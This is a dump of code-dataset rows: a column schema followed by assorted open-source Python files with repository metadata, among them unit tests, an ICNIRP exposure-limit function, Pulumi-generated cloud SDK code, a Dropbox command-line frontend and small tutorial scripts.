hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
40b8041c856f172aaadfee395015899134e8714c
3,795
py
Python
tests/filters/dynamic_filter.py
CNR-ITTIG/plasodfaxp
923797fc00664fa9e3277781b0334d6eed5664fd
[ "Apache-2.0" ]
1
2019-09-26T08:16:30.000Z
2019-09-26T08:16:30.000Z
tests/filters/dynamic_filter.py
CNR-ITTIG/plasodfaxp
923797fc00664fa9e3277781b0334d6eed5664fd
[ "Apache-2.0" ]
null
null
null
tests/filters/dynamic_filter.py
CNR-ITTIG/plasodfaxp
923797fc00664fa9e3277781b0334d6eed5664fd
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- """Tests for the dynamic event object filter.""" import unittest from plaso.filters import dynamic_filter from plaso.lib import errors from tests.filters import test_lib class DynamicFilterTest(test_lib.FilterTestCase): """Tests for the DynamicFilter filter.""" def te...
33.289474
79
0.710408
498
3,795
5.208835
0.172691
0.123362
0.212799
0.222051
0.767926
0.758288
0.756361
0.738628
0.724364
0.692753
0
0.013961
0.188406
3,795
113
80
33.584071
0.828247
0.039789
0
0.506667
0
0
0.336642
0.011304
0
0
0
0
0.2
1
0.026667
false
0
0.053333
0
0.093333
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
40c4dba2fcc2dee397c04eebb18b94347c5ff22e
3,081
py
Python
NiaPy/tests/test_iter_gen_counters.py
rhododendrom/NiaPy
873037e4337474bb75714f1c2be273c97de3eded
[ "MIT" ]
1
2020-03-16T11:15:43.000Z
2020-03-16T11:15:43.000Z
NiaPy/tests/test_iter_gen_counters.py
rhododendrom/NiaPy
873037e4337474bb75714f1c2be273c97de3eded
[ "MIT" ]
null
null
null
NiaPy/tests/test_iter_gen_counters.py
rhododendrom/NiaPy
873037e4337474bb75714f1c2be273c97de3eded
[ "MIT" ]
null
null
null
# pylint: disable=line-too-long from unittest import TestCase from NiaPy.algorithms.basic import BatAlgorithm, FireflyAlgorithm from NiaPy.task import StoppingTask, OptimizationType from NiaPy.algorithms.basic import DifferentialEvolution from NiaPy.benchmarks import Sphere class DETestCase(TestCase): r"""Test ...
27.508929
65
0.59234
321
3,081
5.616822
0.233645
0.039933
0.077648
0.081531
0.824182
0.790904
0.790904
0.790904
0.7665
0.7665
0
0.055477
0.30964
3,081
111
66
27.756757
0.792196
0.12074
0
0.7625
0
0
0
0
0
0
0
0
0.0875
1
0.0875
false
0
0.0625
0
0.1875
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
40ffdc70af85c56e72ec479c99cf1a74e1e362bd
8,016
py
Python
tests/hadoop-etl/test/partitions.py
mace84/script-languages
d586cbe212bbb4efbfb39e095183729c65489360
[ "MIT" ]
6
2019-01-09T11:55:15.000Z
2021-06-25T19:52:42.000Z
tests/hadoop-etl/test/partitions.py
mace84/script-languages
d586cbe212bbb4efbfb39e095183729c65489360
[ "MIT" ]
65
2018-12-12T08:40:38.000Z
2022-02-28T09:19:45.000Z
tests/hadoop-etl/test/partitions.py
mace84/script-languages
d586cbe212bbb4efbfb39e095183729c65489360
[ "MIT" ]
9
2018-11-23T08:59:09.000Z
2020-02-04T12:56:35.000Z
#!/usr/bin/env python2.7 # encoding: utf8 import os import sys sys.path.append(os.path.realpath(__file__ + '/../../../lib')) sys.path.append(os.path.realpath(__file__ + '/../../lib')) import udf import utils import datagen import hadoopenv class TestPartitionDate(utils.HiveTestCase): hive_file_format = 'textfi...
46.33526
130
0.617889
952
8,016
4.992647
0.101891
0.067326
0.047128
0.057227
0.920471
0.920471
0.905323
0.905323
0.891016
0.891016
0
0.04245
0.203593
8,016
172
131
46.604651
0.702068
0.03493
0
0.7
0
0
0.35982
0.076697
0
0
0
0
0
1
0.06
false
0
0.18
0
0.78
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
9057a13bbe1c5d3342d7335d62d8a4f6f5ba4099
27,412
py
Python
tornadoredis/tests/server_commands.py
jbochi/tornado-redis
525b6743891913cfd664a90685fa7f1be239804d
[ "Apache-2.0" ]
1
2015-11-08T15:32:29.000Z
2015-11-08T15:32:29.000Z
tornadoredis/tests/server_commands.py
jbochi/tornado-redis
525b6743891913cfd664a90685fa7f1be239804d
[ "Apache-2.0" ]
null
null
null
tornadoredis/tests/server_commands.py
jbochi/tornado-redis
525b6743891913cfd664a90685fa7f1be239804d
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from datetime import datetime from tornado import gen from redistest import RedisTestCase, async_test class ServerCommandsTestCase(RedisTestCase): @async_test @gen.engine def test_setget_unicode(self): res = yield gen.Task(self.client.set, 'foo', u...
39.385057
79
0.56592
3,745
27,412
4.111615
0.06008
0.128848
0.193272
0.257696
0.884595
0.865177
0.838291
0.791986
0.710936
0.669308
0
0.018232
0.26565
27,412
695
80
39.441727
0.746696
0.005472
0
0.577107
0
0
0.05295
0.006935
0
0
0
0
0.349762
1
0.054054
false
0
0.004769
0
0.060413
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
90893b90dc72a853a3f40b831767378604cf8496
25,779
py
Python
icnirp.py
giaccone/exposure
968545c98eeb00c5d65b11026d29779f7b459009
[ "MIT" ]
null
null
null
icnirp.py
giaccone/exposure
968545c98eeb00c5d65b11026d29779f7b459009
[ "MIT" ]
null
null
null
icnirp.py
giaccone/exposure
968545c98eeb00c5d65b11026d29779f7b459009
[ "MIT" ]
null
null
null
# load modules import numpy as np def icnirp_limit(f, year, receptor, quantity): """ INCIRP_LIMIT provides basic restrictions or reference levels according to the ICNIRP guidelines. Parameters ---------- f (float, ndarray): frequency range year (str): reference guidelines. '19...
43.991468
120
0.351216
3,129
25,779
2.85938
0.060083
0.015201
0.046161
0.050855
0.844864
0.829552
0.824969
0.797474
0.776126
0.722477
0
0.129768
0.474184
25,779
585
121
44.066667
0.530284
0.096745
0
0.710456
0
0
0.009732
0
0
0
0
0
0
1
0.005362
false
0
0.002681
0
0.016086
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
90b5cbf792bb5859b335491eb572f9b220402f95
93,307
py
Python
mysite/patterns/64.py
BioinfoNet/prepub
e19c48cabf8bd22736dcef9308a5e196cfd8119a
[ "MIT" ]
19
2016-06-17T23:36:27.000Z
2020-01-13T16:41:55.000Z
mysite/patterns/64.py
BioinfoNet/prepub
e19c48cabf8bd22736dcef9308a5e196cfd8119a
[ "MIT" ]
13
2016-06-06T12:57:05.000Z
2019-02-05T02:21:00.000Z
patterns/64.py
OmnesRes/GRIMMER
173c99ebdb6a9edb1242d24a791d0c5d778ff643
[ "MIT" ]
7
2017-03-28T18:12:22.000Z
2021-06-16T09:32:59.000Z
pattern_zero=[0.0, 0.015380859375, 0.0302734375, 0.03125, 0.044677734375, 0.046630859375, 0.05859375, 0.0615234375, 0.0625, 0.072021484375, 0.075927734375, 0.077880859375, 0.0849609375, 0.08984375, 0.0927734375, 0.09375, 0.097412109375, 0.103271484375, 0.107177734375, 0.109130859375, 0.109375, 0.1162109375, 0.120849609...
18,661.4
30,928
0.721296
15,378
93,307
4.376187
0.048186
0.004101
0.003076
0.004755
0.99471
0.992407
0.992407
0.990787
0.990787
0.990787
0
0.785317
0.082341
93,307
5
30,929
18,661.4
0.000642
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
90c4f2755b1867d25aa9ddb2770459b7bd8bac59
608
py
Python
FuzzingTool_Dialog_FuzzAlreadyMinimized_Child.py
Ryu-Miyaki/Fuzz4B
8546f165d4dbdd97eb6ab5a6f4c445ee81ec364b
[ "MIT" ]
16
2020-06-25T11:56:59.000Z
2022-02-05T14:00:12.000Z
FuzzingTool_Dialog_FuzzAlreadyMinimized_Child.py
Ryu-Miyaki/Fuzz4B
8546f165d4dbdd97eb6ab5a6f4c445ee81ec364b
[ "MIT" ]
null
null
null
FuzzingTool_Dialog_FuzzAlreadyMinimized_Child.py
Ryu-Miyaki/Fuzz4B
8546f165d4dbdd97eb6ab5a6f4c445ee81ec364b
[ "MIT" ]
null
null
null
"""Subclass of Dialog_FuzzAlreadyMinimized, which is generated by wxFormBuilder.""" import wx import FuzzingTool from FuzzingTool_Dialog_FuzzAlreadyMinimized import FuzzingTool_Dialog_FuzzAlreadyMinimized # Implementing Dialog_FuzzAlreadyMinimized class FuzzingTool_Dialog_FuzzAlreadyMinimized_Child( FuzzingTool_Dialo...
33.777778
95
0.847039
59
608
8.338983
0.508475
0.422764
0.376016
0
0
0
0
0
0
0
0
0
0.100329
608
17
96
35.764706
0.899452
0.340461
0
0
1
0
0
0
0
0
0
0.058824
0
1
0.25
false
0
0.375
0
0.75
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
1
0
0
1
0
0
1
0
1
0
0
7
90ca01bf177f568017614f2abec701ea01e14534
119,684
py
Python
dropbox.py
rgdcastro/docker-dropbox
69588b22282e4917ea29b8b1033bdcd7d686eab0
[ "MIT" ]
5
2017-04-26T20:34:06.000Z
2022-01-20T14:42:34.000Z
rbin/dropbox.py
ryanmjacobs/rd
59b950a20a04eb406b78a14be9461fece1bc6882
[ "MIT" ]
null
null
null
rbin/dropbox.py
ryanmjacobs/rd
59b950a20a04eb406b78a14be9461fece1bc6882
[ "MIT" ]
1
2021-04-20T13:37:10.000Z
2021-04-20T13:37:10.000Z
#!/usr/bin/env python3 # # Copyright (c) Dropbox, Inc. # # dropbox # Dropbox frontend script # This file is part of nautilus-dropbox 2020.03.04. # # nautilus-dropbox is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundat...
74.523039
59,849
0.664884
21,505
119,684
3.659707
0.04585
0.711901
1.054814
1.389037
0.72974
0.701621
0.688839
0.681914
0.670911
0.665828
0
0.236253
0.1614
119,684
1,605
59,850
74.56947
0.547889
0.046506
0
0.375723
0
0.004955
0.603979
0.563992
0
1
0
0.000623
0.001652
1
0.065235
false
0.007432
0.032205
0.002477
0.151941
0.10322
0
0
0
null
1
1
1
0
1
0
0
0
1
0
1
0
0
0
1
0
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
10
90e844bc8b74ebc75eebf80641615c08f5f4b118
878
py
Python
day2AB.py
jjayala1/adventofCode2020
d5587fd812368d2ff24f215d904ddf258dd0a4a8
[ "MIT" ]
null
null
null
day2AB.py
jjayala1/adventofCode2020
d5587fd812368d2ff24f215d904ddf258dd0a4a8
[ "MIT" ]
null
null
null
day2AB.py
jjayala1/adventofCode2020
d5587fd812368d2ff24f215d904ddf258dd0a4a8
[ "MIT" ]
null
null
null
#Part 1 f = open('day2.txt','r') i=0 for line in f: minmax, letter, password = line.split() min,max = minmax.split('-') letter = letter.split(':')[0] if letter in password: if int(min) <= password.count(letter) <= int(max): i+=1 #print(f'{i} -- {min} -- {max} --- {lette...
22.512821
130
0.534169
126
878
3.722222
0.222222
0.063966
0.03838
0.051173
0.869936
0.869936
0.869936
0.869936
0.869936
0.541578
0
0.021341
0.252847
878
38
131
23.105263
0.693598
0.150342
0
0.833333
0
0
0.081081
0
0
0
0
0
0
1
0
false
0.333333
0
0
0
0.083333
0
0
0
null
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
295eefe6eb622fb45dea9f2046580257a14c03a8
1,856
py
Python
Module1/Day13/module1_day13_continueBreak.py
sydneybeal/100DaysPython
d1b004bd27a0644983f3af100172f394ee039f30
[ "MIT" ]
2
2019-06-02T12:17:18.000Z
2019-07-12T16:55:55.000Z
Module1/Day13/module1_day13_continueBreak.py
sydneybeal/100DaysPython
d1b004bd27a0644983f3af100172f394ee039f30
[ "MIT" ]
null
null
null
Module1/Day13/module1_day13_continueBreak.py
sydneybeal/100DaysPython
d1b004bd27a0644983f3af100172f394ee039f30
[ "MIT" ]
null
null
null
""" Author: <REPLACE> Project: 100DaysPython File: module1_day13_continueBreak.py Creation Date: <REPLACE> Description: <REPLACE> """ motivation = "Over? Did you say 'over'? Nothing is over until we decide it is! Was it over when the Germans bombed " \ "Pea...
36.392157
119
0.633621
267
1,856
4.397004
0.224719
0.0477
0.057922
0.068143
0.841567
0.841567
0.841567
0.841567
0.841567
0.841567
0
0.004386
0.262931
1,856
50
120
37.12
0.853801
0.082974
0
0.888889
0
0.222222
0.595935
0.053198
0
0
0
0
0
1
0
false
0
0
0
0
0.111111
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
297cbc8c5ae5327359e872ec6a41a2c56887f5a0
154
py
Python
b3book/__init__.py
efbrasil/b3book
27cf6cb4527adba532010ebf1213132a99365932
[ "MIT" ]
null
null
null
b3book/__init__.py
efbrasil/b3book
27cf6cb4527adba532010ebf1213132a99365932
[ "MIT" ]
null
null
null
b3book/__init__.py
efbrasil/b3book
27cf6cb4527adba532010ebf1213132a99365932
[ "MIT" ]
null
null
null
# from .data_classes import DBOrder, B3Order # from .functions import read_orders_from_plain_files from .lob import LOB from .functions import plot_book
25.666667
53
0.824675
23
154
5.26087
0.608696
0.214876
0.31405
0
0
0
0
0
0
0
0
0.007463
0.12987
154
5
54
30.8
0.895522
0.61039
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
297db9c207342bf45ca08cd87808389d0abd0c48
1,863
py
Python
modules/info_embedding.py
aliang-rec/Code-for-MAMO
fb488e885d3a0cfe510d31ca714117e02aa66c4e
[ "Apache-2.0" ]
null
null
null
modules/info_embedding.py
aliang-rec/Code-for-MAMO
fb488e885d3a0cfe510d31ca714117e02aa66c4e
[ "Apache-2.0" ]
null
null
null
modules/info_embedding.py
aliang-rec/Code-for-MAMO
fb488e885d3a0cfe510d31ca714117e02aa66c4e
[ "Apache-2.0" ]
null
null
null
from utils import * # ======================Embedding========================= # item embedding class ItemEmbedding(torch.nn.Module): def __init__(self, n_layer, in_dim, embedding_dim, activation='sigmoid'): super(ItemEmbedding, self).__init__() self.input_size = in_dim fcs = [] l...
31.576271
89
0.596887
235
1,863
4.459574
0.212766
0.066794
0.074427
0.064886
0.889313
0.889313
0.889313
0.889313
0.889313
0.889313
0
0.005908
0.273215
1,863
58
90
32.12069
0.768095
0.048846
0
0.878049
0
0
0.007923
0
0
0
0
0
0
1
0.097561
false
0
0.02439
0
0.219512
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4621cf9ca941e0d9c8e2b3306844bb8f20efaa75
279
py
Python
python/testData/inspections/PyTypeCheckerInspection/MapArgumentsInOppositeOrderPy3.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2018-12-29T09:53:39.000Z
2018-12-29T09:53:42.000Z
python/testData/inspections/PyTypeCheckerInspection/MapArgumentsInOppositeOrderPy3.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/inspections/PyTypeCheckerInspection/MapArgumentsInOppositeOrderPy3.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
map(<weak_warning descr="Expected type '(Any) -> Any' (matched generic type '(_T1) -> _S'), got 'str' instead">'foo'</weak_warning>, <weak_warning descr="Expected type 'Iterable' (matched generic type 'Iterable[_T1]'), got '(c: Any) -> int' instead">lambda c: 42</weak_warning>)
139.5
278
0.691756
40
279
4.65
0.5
0.236559
0.172043
0.258065
0.301075
0
0
0
0
0
0
0.016129
0.111111
279
1
279
279
0.733871
0
0
0
0
2
0.648746
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
4661b0d7639649e58c11a200d32e25c4cd348f53
140
py
Python
flask/app/info/routes.py
BlackAndWhiteData/Dash_Course
3a45f20c75416b6e4403094221e6c2171a5f00de
[ "MIT" ]
null
null
null
flask/app/info/routes.py
BlackAndWhiteData/Dash_Course
3a45f20c75416b6e4403094221e6c2171a5f00de
[ "MIT" ]
null
null
null
flask/app/info/routes.py
BlackAndWhiteData/Dash_Course
3a45f20c75416b6e4403094221e6c2171a5f00de
[ "MIT" ]
null
null
null
from . import blueprint from flask import render_template @blueprint.route('/') def index(): return render_template('index_info.html')
20
45
0.757143
18
140
5.722222
0.666667
0.271845
0
0
0
0
0
0
0
0
0
0
0.128571
140
7
45
20
0.844262
0
0
0
0
0
0.113475
0
0
0
0
0
0
1
0.2
true
0
0.4
0.2
0.8
0.4
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
1
1
0
0
7
d3b9474e0c23d2944af86fa88de5b88952854ce1
180
py
Python
py/pyglass/pyglass/sketch/__init__.py
bengsquared/manila
0cbb50781d925558508990b51ec5f78c6bee1972
[ "MIT" ]
2
2015-01-02T07:15:07.000Z
2015-04-15T05:23:59.000Z
py/pyglass/pyglass/sketch/__init__.py
bengsquared/manila
0cbb50781d925558508990b51ec5f78c6bee1972
[ "MIT" ]
2
2020-11-04T05:49:26.000Z
2021-03-13T21:05:36.000Z
py/pyglass/pyglass/sketch/__init__.py
bengsquared/manila
0cbb50781d925558508990b51ec5f78c6bee1972
[ "MIT" ]
2
2020-11-03T00:48:06.000Z
2021-03-12T00:14:07.000Z
# -*- coding: utf-8 -*- from .api import list_slices, list_artboards, list_pages from .api import slices, artboards, pages from .api import preview from .api import is_sketchfile
25.714286
56
0.761111
27
180
4.925926
0.481481
0.210526
0.390977
0.270677
0
0
0
0
0
0
0
0.006494
0.144444
180
6
57
30
0.857143
0.116667
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
3108021821fbf654c2d58f3163dfc3b23216889e
17,543
py
Python
sdk/python/pulumi_aws/s3/bucket_logging_v2.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_aws/s3/bucket_logging_v2.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_aws/s3/bucket_logging_v2.py
chivandikwa/pulumi-aws
19c08bf9dcb90544450ffa4eec7bf6751058fde2
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
42.892421
206
0.657698
1,978
17,543
5.597068
0.093023
0.081474
0.068287
0.053654
0.840033
0.817632
0.807244
0.774094
0.766778
0.752145
0
0.009116
0.243345
17,543
408
207
42.997549
0.824921
0.331357
0
0.642512
1
0
0.134018
0.050009
0
0
0
0
0
1
0.154589
false
0.004831
0.033816
0
0.280193
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
314bef5e2f0e84ab8d6fc3ce1f8c6357517861c8
89,932
py
Python
sdk/python/pulumi_gcp/cloudrun/_inputs.py
pjbizon/pulumi-gcp
0d09cbc1dcf50093a177531f7596c27db11a2e58
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_gcp/cloudrun/_inputs.py
pjbizon/pulumi-gcp
0d09cbc1dcf50093a177531f7596c27db11a2e58
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_gcp/cloudrun/_inputs.py
pjbizon/pulumi-gcp
0d09cbc1dcf50093a177531f7596c27db11a2e58
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
42.845164
167
0.654317
10,492
89,932
5.500572
0.052516
0.092442
0.05919
0.044601
0.851989
0.798985
0.771486
0.724598
0.70637
0.673551
0
0.001314
0.246698
89,932
2,098
168
42.865586
0.850574
0.364698
0
0.585562
1
0
0.136475
0.073078
0
0
0
0
0
1
0.205882
false
0
0.004456
0.022282
0.326203
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
314d6c458d80988073b9bf9f64160774e96af8cb
5,732
py
Python
test/toolset-mock/src/intel-darwin-10.2.py
MaxSac/build
482c25f3a26171073c7e6c59f0427f2259a63fec
[ "BSL-1.0" ]
11,356
2017-12-08T19:42:32.000Z
2022-03-31T16:55:25.000Z
test/toolset-mock/src/intel-darwin-10.2.py
MaxSac/build
482c25f3a26171073c7e6c59f0427f2259a63fec
[ "BSL-1.0" ]
2,402
2017-12-08T22:31:01.000Z
2022-03-28T19:25:52.000Z
test/toolset-mock/src/intel-darwin-10.2.py
MaxSac/build
482c25f3a26171073c7e6c59f0427f2259a63fec
[ "BSL-1.0" ]
1,343
2017-12-08T19:47:19.000Z
2022-03-26T11:31:36.000Z
#!/usr/bin/python # # Copyright 2017 Steven Watanabe # # Distributed under the Boost Software License, Version 1.0. # (See accompanying file LICENSE_1_0.txt or copy at # http://www.boost.org/LICENSE_1_0.txt) from MockProgram import * command('icc', '-print-prog-name=ar', stdout=script('ar.py')) command('icc', '-print...
130.272727
411
0.670796
874
5,732
4.33524
0.114416
0.057271
0.098179
0.147268
0.908947
0.896807
0.886778
0.87886
0.87886
0.854579
0
0.035728
0.062456
5,732
43
412
133.302326
0.669334
0.040998
0
0
0
1.074074
0.600838
0.342503
0
0
0
0
0
1
0
true
0
0.037037
0
0.037037
0.074074
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
10
31774d11f1a5718a8affdbbdc8f9ef93ccf959d9
242
py
Python
polyaxon/activitylogs/events/notebook.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
polyaxon/activitylogs/events/notebook.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
polyaxon/activitylogs/events/notebook.py
elyase/polyaxon
1c19f059a010a6889e2b7ea340715b2bcfa382a0
[ "MIT" ]
null
null
null
import activitylogs from event_manager.events import notebook activitylogs.subscribe(notebook.NotebookStartedTriggeredEvent) activitylogs.subscribe(notebook.NotebookSoppedTriggeredEvent) activitylogs.subscribe(notebook.NotebookViewedEvent)
30.25
62
0.900826
20
242
10.85
0.55
0.290323
0.400922
0
0
0
0
0
0
0
0
0
0.045455
242
7
63
34.571429
0.939394
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.4
0
0.4
0
1
0
1
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
31d9438a72f9fa3f4c37b019dcab7c5a0b22af82
100
py
Python
cvxgraphalgs/algorithms/__init__.py
hermish/cvx-graph-algorithms
733e137a906bd6c2965d5853d2798a8a01db945c
[ "MIT" ]
7
2020-05-11T10:01:31.000Z
2021-11-16T16:08:29.000Z
cvxgraphalgs/algorithms/__init__.py
hermish/graph-algorithms
733e137a906bd6c2965d5853d2798a8a01db945c
[ "MIT" ]
1
2020-05-12T16:15:33.000Z
2020-06-05T16:40:57.000Z
cvxgraphalgs/algorithms/__init__.py
hermish/cvx-graph-algorithms
733e137a906bd6c2965d5853d2798a8a01db945c
